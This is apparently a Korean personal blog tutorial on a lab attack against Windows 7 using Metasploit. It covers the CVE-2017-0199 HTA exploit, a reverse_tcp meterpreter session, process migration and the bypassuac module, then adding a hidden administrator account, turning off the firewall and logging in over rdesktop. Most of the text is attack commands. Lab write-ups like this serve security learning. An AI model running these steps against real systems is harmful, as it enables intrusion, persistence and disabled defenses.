끄적끄적 아무기록

bypassuac 취약점을 이용한 rdesktop 공격

by 현생사는갓생지망생
반응형

Metasploit - BypassUAC를 이용한 권한 상승


공격 방식


1. Server side

- 시스템 자체의 취약점을 이용 ex. ms17-010


2. Client side

- 실행파일(악성코드, 멀웨어, 트로이목마)을 클릭하는 방식


클라이언트 사이드 공격은 대부분 권한 상승을 필요로 한다.

따라서 이번 글에서는 BypassUAC를 이용한 권한 상승에 대해 알아볼 것이다.


공격 시나리오

공격자 - Kali Linux (1.0.0.51)

공격 대상 - Windows 7 (1.0.0.56)

1) 취약점을 이용하여 meterpreter로 접속

2) explorer로 권한 상승

3) 원격 데스크톱 연결 시도

4) BypassUAC 이용하여 권한 상승

5) 원격 데스크톱 연결


# service postgresql start

DB 연결을 위해 postgresql 서비스를 시작 후 msfconsole로 접속한다.


CVE-2017-0199 : 마이크로소프트의 원격 코드 실행 취약점

# use exploit/windows/fileformat/office_word_hta


show options 명령어로 확인.

SVRHOST : service host, 상대방이 이 서버로 접속하도록 (악성코드 접속)


reverse_tcp 방식을 사용한다.


# set lhost [공격자 IP]


run or exploit 명령어를 실행하면 1.0.0.56의 세션이 연결되었다는 메시지가 보인다.


연결된 세션을 확인하는 명령어 : sessions


연결이 되어있는 상태이기 때문에 sessions [id] 명령어로 연결이 가능하다.

windows 7의 meterpreter로 접속된다.


explorer 권한을 가져오기 위해 먼저 ps 명령어로 explorer의 PID를 확인한다.

explorer의 PID는 3056이며, 현재 내 PID는 960이다.


migrate 명령어를 이용하여 explorer로 권한 상승.


shell 명령어를 입력하면 windows 7의 쉘로 접속이 된다.

만약 영어가 깨져서 나온다면 chcp 65001 명령어를 입력해준다.


rdesktop 연결을 위해 계정을 만들려 시도해보면 접근이 거부될 것이다.


bypassuac를 이용하여 권한 상승을 해주기 위해 background로 들어간다.

# search bypassuac 를 입력하면 첫 번째로 뜨는 취약점이 보인다.


# use exploit/windows/local/bypassuac


마찬가지로 reverse_tcp 방식으로 payload를 설정한다.


show targets 명령어로 타겟에 Windows x64가 있는지 확인 후

set targets 명령어로 타겟을 지정한다.


세션을 확인해보면 위에서 연결했던 windows 7과의 연결이 유지되어 있다.


show options으로 확인 후 비어있는 값을 넣어줘야 하는데,

SESSION은 위에서 확인한 세션의 ID를 넣어준다.

# set session [id]

# set lhost [공격자 IP]


run or exploit 명령어를 입력하면 잠시 후 meterpreter session을 따오게 된다.


총 세션이 2개가 보이는 것이 정상이며, sessions 명령어로 확인 후

두 번째 세션으로 연결한다. (bypassuac로 따온 세션)


마찬가지로 shell로 접속하여 영어가 깨지지 않도록 chcp 65001 명령어를 입력해준다.


# net user hh It1 /add

ID : hh / PW : It1 인 계정을 생성한다. 위에서와는 달리 성공적으로 생성이 된다.

# net user 명령어로 현재 windows 7의 계정들을 확인 가능하다.

hh 계정을 생성했으니, 관리자 그룹에 넣어줘야 hh 계정으로 더 많은 작업을 할 수 있다.

# net localgroup administrators hh /add


만약 공격 대상의 PC에서 방화벽이 활성화되어 있다면 원격 접속이 어려울 수 있다.

따라서 쉘로 접속하여 방화벽을 꺼버릴 수 있다.

# netsh advfirewall set allprofiles state on/off


hh 계정으로, 패스워드는 It1, 1.0.0.56에 연결하겠다.

# rdesktop -u [ID] -p [PW] [공격 대상 IP]

관리자 권한을 가진 계정이고, 방화벽도 다 껐지만 에러가 발생하는 것을 볼 수 있다.


공격 대상의 쉘로 다시 접속하여 위와 같은 명령어를 한 번 입력해주어야 한다.


다시 rdesktop 연결을 시도해본다.


성공적으로 접속을 하였다.

 

반응형

블로그의 정보

현생이네

현생사는갓생지망생

활동하기